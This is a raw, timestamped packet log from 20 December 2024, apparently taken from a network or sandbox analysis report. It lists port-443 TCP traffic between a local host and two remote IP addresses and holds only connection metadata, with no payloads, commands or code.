Dec 20, 2024 01:17:07.616945028 CET	443	49864	188.119.66.154	192.168.2.4
Dec 20, 2024 01:17:07.616971016 CET	49864	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:17:07.616976976 CET	443	49864	188.119.66.154	192.168.2.4
Dec 20, 2024 01:17:07.617012024 CET	49864	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:17:07.617017031 CET	443	49864	188.119.66.154	192.168.2.4
Dec 20, 2024 01:17:07.617053986 CET	49864	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:17:07.617117882 CET	443	49864	188.119.66.154	192.168.2.4
Dec 20, 2024 01:17:07.617162943 CET	49864	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:17:07.617434025 CET	49864	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:17:07.617446899 CET	443	49864	188.119.66.154	192.168.2.4
Dec 20, 2024 01:17:07.620424032 CET	443	49863	188.119.66.154	192.168.2.4
Dec 20, 2024 01:17:07.620465994 CET	443	49863	188.119.66.154	192.168.2.4
Dec 20, 2024 01:17:07.620484114 CET	49863	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:17:07.620492935 CET	443	49863	188.119.66.154	192.168.2.4
Dec 20, 2024 01:17:07.620518923 CET	49863	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:17:07.620537996 CET	49863	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:17:07.635812044 CET	443	49863	188.119.66.154	192.168.2.4
Dec 20, 2024 01:17:07.635858059 CET	443	49863	188.119.66.154	192.168.2.4
Dec 20, 2024 01:17:07.635870934 CET	49863	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:17:07.635879040 CET	443	49863	188.119.66.154	192.168.2.4
Dec 20, 2024 01:17:07.635911942 CET	49863	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:17:07.650320053 CET	443	49863	188.119.66.154	192.168.2.4
Dec 20, 2024 01:17:07.650365114 CET	443	49863	188.119.66.154	192.168.2.4
Dec 20, 2024 01:17:07.650378942 CET	49863	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:17:07.650388002 CET	443	49863	188.119.66.154	192.168.2.4
Dec 20, 2024 01:17:07.650428057 CET	49863	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:17:07.689811945 CET	443	49863	188.119.66.154	192.168.2.4
Dec 20, 2024 01:17:07.689838886 CET	443	49863	188.119.66.154	192.168.2.4
Dec 20, 2024 01:17:07.689877987 CET	49863	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:17:07.689891100 CET	443	49863	188.119.66.154	192.168.2.4
Dec 20, 2024 01:17:07.689925909 CET	49863	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:17:07.689945936 CET	49863	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:17:07.777648926 CET	443	49863	188.119.66.154	192.168.2.4
Dec 20, 2024 01:17:07.777666092 CET	443	49863	188.119.66.154	192.168.2.4
Dec 20, 2024 01:17:07.777723074 CET	49863	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:17:07.777735949 CET	443	49863	188.119.66.154	192.168.2.4
Dec 20, 2024 01:17:07.777795076 CET	49863	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:17:07.788100958 CET	443	49863	188.119.66.154	192.168.2.4
Dec 20, 2024 01:17:07.788114071 CET	443	49863	188.119.66.154	192.168.2.4
Dec 20, 2024 01:17:07.788161993 CET	49863	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:17:07.788171053 CET	443	49863	188.119.66.154	192.168.2.4
Dec 20, 2024 01:17:07.788209915 CET	49863	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:17:07.798501015 CET	443	49863	188.119.66.154	192.168.2.4
Dec 20, 2024 01:17:07.798521996 CET	443	49863	188.119.66.154	192.168.2.4
Dec 20, 2024 01:17:07.798553944 CET	49863	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:17:07.798563957 CET	443	49863	188.119.66.154	192.168.2.4
Dec 20, 2024 01:17:07.798604965 CET	49863	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:17:07.806631088 CET	443	49863	188.119.66.154	192.168.2.4
Dec 20, 2024 01:17:07.806657076 CET	443	49863	188.119.66.154	192.168.2.4
Dec 20, 2024 01:17:07.806961060 CET	49863	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:17:07.806969881 CET	443	49863	188.119.66.154	192.168.2.4
Dec 20, 2024 01:17:07.807015896 CET	49863	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:17:07.817152977 CET	443	49863	188.119.66.154	192.168.2.4
Dec 20, 2024 01:17:07.817167997 CET	443	49863	188.119.66.154	192.168.2.4
Dec 20, 2024 01:17:07.817215919 CET	49863	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:17:07.817224979 CET	443	49863	188.119.66.154	192.168.2.4
Dec 20, 2024 01:17:07.817259073 CET	49863	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:17:07.827616930 CET	443	49863	188.119.66.154	192.168.2.4
Dec 20, 2024 01:17:07.827632904 CET	443	49863	188.119.66.154	192.168.2.4
Dec 20, 2024 01:17:07.827680111 CET	49863	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:17:07.827688932 CET	443	49863	188.119.66.154	192.168.2.4
Dec 20, 2024 01:17:07.827727079 CET	49863	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:17:07.838110924 CET	443	49863	188.119.66.154	192.168.2.4
Dec 20, 2024 01:17:07.838124990 CET	443	49863	188.119.66.154	192.168.2.4
Dec 20, 2024 01:17:07.838174105 CET	49863	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:17:07.838182926 CET	443	49863	188.119.66.154	192.168.2.4
Dec 20, 2024 01:17:07.838219881 CET	49863	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:17:07.962941885 CET	443	49863	188.119.66.154	192.168.2.4
Dec 20, 2024 01:17:07.962965012 CET	443	49863	188.119.66.154	192.168.2.4
Dec 20, 2024 01:17:07.963005066 CET	49863	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:17:07.963017941 CET	443	49863	188.119.66.154	192.168.2.4
Dec 20, 2024 01:17:07.963038921 CET	49863	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:17:07.963058949 CET	49863	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:17:07.972273111 CET	443	49863	188.119.66.154	192.168.2.4
Dec 20, 2024 01:17:07.972286940 CET	443	49863	188.119.66.154	192.168.2.4
Dec 20, 2024 01:17:07.972340107 CET	49863	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:17:07.972352028 CET	443	49863	188.119.66.154	192.168.2.4
Dec 20, 2024 01:17:07.972393036 CET	49863	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:17:07.977125883 CET	443	49863	188.119.66.154	192.168.2.4
Dec 20, 2024 01:17:07.977139950 CET	443	49863	188.119.66.154	192.168.2.4
Dec 20, 2024 01:17:07.977186918 CET	49863	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:17:07.977196932 CET	443	49863	188.119.66.154	192.168.2.4
Dec 20, 2024 01:17:07.977236032 CET	49863	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:17:07.978956938 CET	443	49868	142.250.181.110	192.168.2.4
Dec 20, 2024 01:17:07.979178905 CET	49868	443	192.168.2.4	142.250.181.110
Dec 20, 2024 01:17:07.979204893 CET	443	49868	142.250.181.110	192.168.2.4
Dec 20, 2024 01:17:07.979746103 CET	443	49868	142.250.181.110	192.168.2.4
Dec 20, 2024 01:17:07.979803085 CET	49868	443	192.168.2.4	142.250.181.110
Dec 20, 2024 01:17:07.980752945 CET	443	49868	142.250.181.110	192.168.2.4
Dec 20, 2024 01:17:07.980809927 CET	49868	443	192.168.2.4	142.250.181.110
Dec 20, 2024 01:17:07.982462883 CET	49868	443	192.168.2.4	142.250.181.110
Dec 20, 2024 01:17:07.982552052 CET	443	49868	142.250.181.110	192.168.2.4
Dec 20, 2024 01:17:07.982609987 CET	49868	443	192.168.2.4	142.250.181.110
Dec 20, 2024 01:17:07.982620001 CET	443	49868	142.250.181.110	192.168.2.4
Dec 20, 2024 01:17:07.984070063 CET	443	49863	188.119.66.154	192.168.2.4
Dec 20, 2024 01:17:07.984083891 CET	443	49863	188.119.66.154	192.168.2.4
Dec 20, 2024 01:17:07.984129906 CET	49863	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:17:07.984138966 CET	443	49863	188.119.66.154	192.168.2.4
Dec 20, 2024 01:17:07.984174013 CET	49863	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:17:07.991404057 CET	443	49863	188.119.66.154	192.168.2.4
Dec 20, 2024 01:17:07.991416931 CET	443	49863	188.119.66.154	192.168.2.4
Dec 20, 2024 01:17:07.991466045 CET	49863	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:17:07.991477013 CET	443	49863	188.119.66.154	192.168.2.4
Dec 20, 2024 01:17:07.991509914 CET	49863	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:17:07.998236895 CET	443	49863	188.119.66.154	192.168.2.4
Dec 20, 2024 01:17:07.998250961 CET	443	49863	188.119.66.154	192.168.2.4
Dec 20, 2024 01:17:07.998303890 CET	49863	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:17:07.998312950 CET	443	49863	188.119.66.154	192.168.2.4
Dec 20, 2024 01:17:07.998341084 CET	49863	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:17:07.998358965 CET	49863	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:17:08.005248070 CET	443	49863	188.119.66.154	192.168.2.4
Dec 20, 2024 01:17:08.005263090 CET	443	49863	188.119.66.154	192.168.2.4
Dec 20, 2024 01:17:08.005307913 CET	49863	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:17:08.005316973 CET	443	49863	188.119.66.154	192.168.2.4
Dec 20, 2024 01:17:08.005343914 CET	49863	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:17:08.005357981 CET	49863	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:17:08.011914015 CET	443	49863	188.119.66.154	192.168.2.4
Dec 20, 2024 01:17:08.011929989 CET	443	49863	188.119.66.154	192.168.2.4
Dec 20, 2024 01:17:08.011965036 CET	49863	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:17:08.011974096 CET	443	49863	188.119.66.154	192.168.2.4
Dec 20, 2024 01:17:08.012001991 CET	49863	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:17:08.012020111 CET	49863	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:17:08.030632973 CET	49868	443	192.168.2.4	142.250.181.110
Dec 20, 2024 01:17:08.129590988 CET	49871	443	192.168.2.4	142.250.181.110
Dec 20, 2024 01:17:08.129628897 CET	443	49871	142.250.181.110	192.168.2.4
Dec 20, 2024 01:17:08.129682064 CET	49871	443	192.168.2.4	142.250.181.110
Dec 20, 2024 01:17:08.129976988 CET	49871	443	192.168.2.4	142.250.181.110
Dec 20, 2024 01:17:08.129993916 CET	443	49871	142.250.181.110	192.168.2.4
Dec 20, 2024 01:17:08.154285908 CET	443	49863	188.119.66.154	192.168.2.4
Dec 20, 2024 01:17:08.154306889 CET	443	49863	188.119.66.154	192.168.2.4
Dec 20, 2024 01:17:08.154360056 CET	49863	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:17:08.154370070 CET	443	49863	188.119.66.154	192.168.2.4
Dec 20, 2024 01:17:08.154423952 CET	49863	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:17:08.161608934 CET	443	49863	188.119.66.154	192.168.2.4
Dec 20, 2024 01:17:08.161623001 CET	443	49863	188.119.66.154	192.168.2.4
Dec 20, 2024 01:17:08.161664963 CET	49863	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:17:08.161674023 CET	443	49863	188.119.66.154	192.168.2.4
Dec 20, 2024 01:17:08.161703110 CET	49863	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:17:08.161715984 CET	49863	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:17:08.168832064 CET	443	49863	188.119.66.154	192.168.2.4
Dec 20, 2024 01:17:08.168845892 CET	443	49863	188.119.66.154	192.168.2.4
Dec 20, 2024 01:17:08.168898106 CET	49863	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:17:08.168906927 CET	443	49863	188.119.66.154	192.168.2.4
Dec 20, 2024 01:17:08.168961048 CET	49863	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:17:08.169819117 CET	443	49863	188.119.66.154	192.168.2.4
Dec 20, 2024 01:17:08.169862986 CET	49863	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:17:08.169868946 CET	443	49863	188.119.66.154	192.168.2.4
Dec 20, 2024 01:17:08.169897079 CET	443	49863	188.119.66.154	192.168.2.4
Dec 20, 2024 01:17:08.169938087 CET	49863	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:17:08.170207024 CET	49863	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:17:08.170219898 CET	443	49863	188.119.66.154	192.168.2.4
Dec 20, 2024 01:17:08.467963934 CET	443	49869	188.119.66.154	192.168.2.4
Dec 20, 2024 01:17:08.468324900 CET	49869	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:17:08.468358994 CET	443	49869	188.119.66.154	192.168.2.4
Dec 20, 2024 01:17:08.468704939 CET	443	49869	188.119.66.154	192.168.2.4
Dec 20, 2024 01:17:08.469358921 CET	49869	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:17:08.469358921 CET	49869	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:17:08.469378948 CET	443	49869	188.119.66.154	192.168.2.4
Dec 20, 2024 01:17:08.469423056 CET	443	49869	188.119.66.154	192.168.2.4
Dec 20, 2024 01:17:08.473942995 CET	443	49870	188.119.66.154	192.168.2.4
Dec 20, 2024 01:17:08.474153996 CET	49870	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:17:08.474219084 CET	443	49870	188.119.66.154	192.168.2.4
Dec 20, 2024 01:17:08.475402117 CET	443	49870	188.119.66.154	192.168.2.4
Dec 20, 2024 01:17:08.475790977 CET	49870	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:17:08.475791931 CET	49870	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:17:08.475832939 CET	443	49870	188.119.66.154	192.168.2.4
Dec 20, 2024 01:17:08.475975990 CET	443	49870	188.119.66.154	192.168.2.4
Dec 20, 2024 01:17:08.513617992 CET	49869	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:17:08.530332088 CET	49870	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:17:08.785548925 CET	443	49868	142.250.181.110	192.168.2.4
Dec 20, 2024 01:17:08.785676956 CET	443	49868	142.250.181.110	192.168.2.4
Dec 20, 2024 01:17:08.786870003 CET	49868	443	192.168.2.4	142.250.181.110
Dec 20, 2024 01:17:08.786891937 CET	443	49868	142.250.181.110	192.168.2.4
Dec 20, 2024 01:17:08.787182093 CET	49868	443	192.168.2.4	142.250.181.110
Dec 20, 2024 01:17:08.787271023 CET	443	49868	142.250.181.110	192.168.2.4
Dec 20, 2024 01:17:08.787444115 CET	49868	443	192.168.2.4	142.250.181.110
Dec 20, 2024 01:17:09.022516966 CET	443	49869	188.119.66.154	192.168.2.4
Dec 20, 2024 01:17:09.025710106 CET	443	49870	188.119.66.154	192.168.2.4
Dec 20, 2024 01:17:09.074367046 CET	49869	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:17:09.074376106 CET	49870	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:17:09.143680096 CET	443	49869	188.119.66.154	192.168.2.4
Dec 20, 2024 01:17:09.143691063 CET	443	49869	188.119.66.154	192.168.2.4
Dec 20, 2024 01:17:09.143749952 CET	443	49869	188.119.66.154	192.168.2.4
Dec 20, 2024 01:17:09.143785000 CET	49869	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:17:09.143798113 CET	443	49869	188.119.66.154	192.168.2.4
Dec 20, 2024 01:17:09.143836975 CET	443	49869	188.119.66.154	192.168.2.4
Dec 20, 2024 01:17:09.143851042 CET	443	49869	188.119.66.154	192.168.2.4
Dec 20, 2024 01:17:09.143863916 CET	49869	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:17:09.143863916 CET	49869	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:17:09.144196033 CET	49869	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:17:09.146100998 CET	443	49870	188.119.66.154	192.168.2.4
Dec 20, 2024 01:17:09.146126986 CET	443	49870	188.119.66.154	192.168.2.4
Dec 20, 2024 01:17:09.146179914 CET	443	49870	188.119.66.154	192.168.2.4
Dec 20, 2024 01:17:09.146198034 CET	443	49870	188.119.66.154	192.168.2.4
Dec 20, 2024 01:17:09.146220922 CET	49870	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:17:09.146262884 CET	443	49870	188.119.66.154	192.168.2.4
Dec 20, 2024 01:17:09.146325111 CET	443	49870	188.119.66.154	192.168.2.4
Dec 20, 2024 01:17:09.146359921 CET	49870	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:17:09.146359921 CET	49870	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:17:09.146517038 CET	49870	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:17:09.229418039 CET	443	49870	188.119.66.154	192.168.2.4
Dec 20, 2024 01:17:09.229517937 CET	443	49870	188.119.66.154	192.168.2.4
Dec 20, 2024 01:17:09.229556084 CET	49870	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:17:09.229851961 CET	49870	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:17:09.230194092 CET	49870	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:17:09.230223894 CET	443	49870	188.119.66.154	192.168.2.4
Dec 20, 2024 01:17:09.230257034 CET	49870	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:17:09.230360985 CET	49870	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:17:09.233562946 CET	49873	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:17:09.233596087 CET	443	49873	188.119.66.154	192.168.2.4
Dec 20, 2024 01:17:09.233670950 CET	49873	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:17:09.234153032 CET	49873	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:17:09.234164953 CET	443	49873	188.119.66.154	192.168.2.4
Dec 20, 2024 01:17:09.261109114 CET	443	49869	188.119.66.154	192.168.2.4
Dec 20, 2024 01:17:09.261117935 CET	443	49869	188.119.66.154	192.168.2.4
Dec 20, 2024 01:17:09.261166096 CET	443	49869	188.119.66.154	192.168.2.4
Dec 20, 2024 01:17:09.261204004 CET	49869	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:17:09.261212111 CET	443	49869	188.119.66.154	192.168.2.4
Dec 20, 2024 01:17:09.261240959 CET	443	49869	188.119.66.154	192.168.2.4
Dec 20, 2024 01:17:09.261256933 CET	49869	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:17:09.261293888 CET	49869	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:17:09.340862036 CET	443	49869	188.119.66.154	192.168.2.4
Dec 20, 2024 01:17:09.340883017 CET	443	49869	188.119.66.154	192.168.2.4
Dec 20, 2024 01:17:09.340939999 CET	49869	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:17:09.340981007 CET	443	49869	188.119.66.154	192.168.2.4
Dec 20, 2024 01:17:09.340997934 CET	49869	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:17:09.341026068 CET	49869	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:17:09.428461075 CET	443	49869	188.119.66.154	192.168.2.4
Dec 20, 2024 01:17:09.428482056 CET	443	49869	188.119.66.154	192.168.2.4
Dec 20, 2024 01:17:09.428564072 CET	49869	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:17:09.428591013 CET	443	49869	188.119.66.154	192.168.2.4
Dec 20, 2024 01:17:09.428636074 CET	49869	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:17:09.459851027 CET	443	49869	188.119.66.154	192.168.2.4
Dec 20, 2024 01:17:09.459867001 CET	443	49869	188.119.66.154	192.168.2.4
Dec 20, 2024 01:17:09.459925890 CET	49869	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:17:09.459939957 CET	443	49869	188.119.66.154	192.168.2.4
Dec 20, 2024 01:17:09.459976912 CET	49869	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:17:09.467681885 CET	443	49869	188.119.66.154	192.168.2.4
Dec 20, 2024 01:17:09.467737913 CET	49869	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:17:09.467747927 CET	443	49869	188.119.66.154	192.168.2.4
Dec 20, 2024 01:17:09.467767000 CET	443	49869	188.119.66.154	192.168.2.4
Dec 20, 2024 01:17:09.467813969 CET	49869	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:17:09.468136072 CET	49869	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:17:09.468153000 CET	443	49869	188.119.66.154	192.168.2.4
Dec 20, 2024 01:17:09.474912882 CET	49874	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:17:09.474999905 CET	443	49874	188.119.66.154	192.168.2.4
Dec 20, 2024 01:17:09.475110054 CET	49874	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:17:09.475420952 CET	49874	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:17:09.475466013 CET	443	49874	188.119.66.154	192.168.2.4
Dec 20, 2024 01:17:09.492904902 CET	49875	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:17:09.492938995 CET	443	49875	188.119.66.154	192.168.2.4
Dec 20, 2024 01:17:09.493000984 CET	49875	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:17:09.493988991 CET	49875	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:17:09.494002104 CET	443	49875	188.119.66.154	192.168.2.4
Dec 20, 2024 01:17:09.494868040 CET	49876	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:17:09.494903088 CET	443	49876	188.119.66.154	192.168.2.4
Dec 20, 2024 01:17:09.494963884 CET	49876	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:17:09.495183945 CET	49876	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:17:09.495197058 CET	443	49876	188.119.66.154	192.168.2.4
Dec 20, 2024 01:17:09.536183119 CET	49877	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:17:09.536251068 CET	443	49877	188.119.66.154	192.168.2.4
Dec 20, 2024 01:17:09.536396027 CET	49877	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:17:09.536885023 CET	49877	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:17:09.536916018 CET	443	49877	188.119.66.154	192.168.2.4
Dec 20, 2024 01:17:09.540240049 CET	49878	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:17:09.540266037 CET	443	49878	188.119.66.154	192.168.2.4
Dec 20, 2024 01:17:09.540405989 CET	49878	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:17:09.540868044 CET	49878	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:17:09.540880919 CET	443	49878	188.119.66.154	192.168.2.4
Dec 20, 2024 01:17:09.835273981 CET	443	49871	142.250.181.110	192.168.2.4
Dec 20, 2024 01:17:09.860378027 CET	49871	443	192.168.2.4	142.250.181.110
Dec 20, 2024 01:17:09.860394001 CET	443	49871	142.250.181.110	192.168.2.4
Dec 20, 2024 01:17:09.861830950 CET	443	49871	142.250.181.110	192.168.2.4
Dec 20, 2024 01:17:09.861897945 CET	49871	443	192.168.2.4	142.250.181.110
Dec 20, 2024 01:17:09.864343882 CET	443	49871	142.250.181.110	192.168.2.4
Dec 20, 2024 01:17:09.864459038 CET	49871	443	192.168.2.4	142.250.181.110
Dec 20, 2024 01:17:09.909898996 CET	49871	443	192.168.2.4	142.250.181.110
Dec 20, 2024 01:17:09.910326958 CET	443	49871	142.250.181.110	192.168.2.4
Dec 20, 2024 01:17:09.912576914 CET	49871	443	192.168.2.4	142.250.181.110
Dec 20, 2024 01:17:09.912595034 CET	443	49871	142.250.181.110	192.168.2.4
Dec 20, 2024 01:17:09.962343931 CET	49871	443	192.168.2.4	142.250.181.110
Dec 20, 2024 01:17:10.638891935 CET	443	49871	142.250.181.110	192.168.2.4
Dec 20, 2024 01:17:10.639372110 CET	49871	443	192.168.2.4	142.250.181.110
Dec 20, 2024 01:17:10.639455080 CET	443	49871	142.250.181.110	192.168.2.4
Dec 20, 2024 01:17:10.639563084 CET	49871	443	192.168.2.4	142.250.181.110
Dec 20, 2024 01:17:10.640455961 CET	49880	443	192.168.2.4	142.250.181.110
Dec 20, 2024 01:17:10.640542030 CET	443	49880	142.250.181.110	192.168.2.4
Dec 20, 2024 01:17:10.640618086 CET	49880	443	192.168.2.4	142.250.181.110
Dec 20, 2024 01:17:10.640873909 CET	49880	443	192.168.2.4	142.250.181.110
Dec 20, 2024 01:17:10.640907049 CET	443	49880	142.250.181.110	192.168.2.4
Dec 20, 2024 01:17:10.719146967 CET	443	49873	188.119.66.154	192.168.2.4
Dec 20, 2024 01:17:10.719384909 CET	49873	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:17:10.719403982 CET	443	49873	188.119.66.154	192.168.2.4
Dec 20, 2024 01:17:10.719873905 CET	443	49873	188.119.66.154	192.168.2.4
Dec 20, 2024 01:17:10.720912933 CET	49873	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:17:10.720993042 CET	443	49873	188.119.66.154	192.168.2.4
Dec 20, 2024 01:17:10.721064091 CET	49873	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:17:10.760953903 CET	49873	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:17:10.760967970 CET	443	49873	188.119.66.154	192.168.2.4
Dec 20, 2024 01:17:10.925386906 CET	443	49874	188.119.66.154	192.168.2.4
Dec 20, 2024 01:17:10.925656080 CET	49874	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:17:10.925688982 CET	443	49874	188.119.66.154	192.168.2.4
Dec 20, 2024 01:17:10.926044941 CET	443	49874	188.119.66.154	192.168.2.4
Dec 20, 2024 01:17:10.926451921 CET	49874	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:17:10.926526070 CET	443	49874	188.119.66.154	192.168.2.4
Dec 20, 2024 01:17:10.926603079 CET	49874	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:17:10.945275068 CET	443	49875	188.119.66.154	192.168.2.4
Dec 20, 2024 01:17:10.945471048 CET	49875	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:17:10.945483923 CET	443	49875	188.119.66.154	192.168.2.4
Dec 20, 2024 01:17:10.945988894 CET	443	49875	188.119.66.154	192.168.2.4
Dec 20, 2024 01:17:10.946285009 CET	49875	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:17:10.946362019 CET	443	49875	188.119.66.154	192.168.2.4
Dec 20, 2024 01:17:10.946399927 CET	49875	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:17:10.949817896 CET	443	49876	188.119.66.154	192.168.2.4
Dec 20, 2024 01:17:10.950038910 CET	49876	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:17:10.950058937 CET	443	49876	188.119.66.154	192.168.2.4
Dec 20, 2024 01:17:10.951204062 CET	443	49876	188.119.66.154	192.168.2.4
Dec 20, 2024 01:17:10.951534986 CET	49876	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:17:10.951658964 CET	49876	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:17:10.951666117 CET	443	49876	188.119.66.154	192.168.2.4
Dec 20, 2024 01:17:10.951708078 CET	443	49876	188.119.66.154	192.168.2.4
Dec 20, 2024 01:17:10.971368074 CET	443	49874	188.119.66.154	192.168.2.4
Dec 20, 2024 01:17:10.978909969 CET	49874	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:17:10.989494085 CET	443	49877	188.119.66.154	192.168.2.4
Dec 20, 2024 01:17:10.989682913 CET	49877	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:17:10.989705086 CET	443	49877	188.119.66.154	192.168.2.4
Dec 20, 2024 01:17:10.991130114 CET	443	49877	188.119.66.154	192.168.2.4
Dec 20, 2024 01:17:10.991194010 CET	49877	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:17:10.991338968 CET	443	49875	188.119.66.154	192.168.2.4
Dec 20, 2024 01:17:10.991597891 CET	49877	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:17:10.991681099 CET	443	49877	188.119.66.154	192.168.2.4
Dec 20, 2024 01:17:10.991741896 CET	49877	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:17:10.992185116 CET	443	49878	188.119.66.154	192.168.2.4
Dec 20, 2024 01:17:10.992398024 CET	49878	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:17:10.992417097 CET	443	49878	188.119.66.154	192.168.2.4
Dec 20, 2024 01:17:10.993730068 CET	443	49878	188.119.66.154	192.168.2.4
Dec 20, 2024 01:17:10.993784904 CET	49878	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:17:10.994082928 CET	49875	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:17:10.994529009 CET	49876	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:17:10.995208979 CET	49878	443	192.168.2.4	188.119.66.154
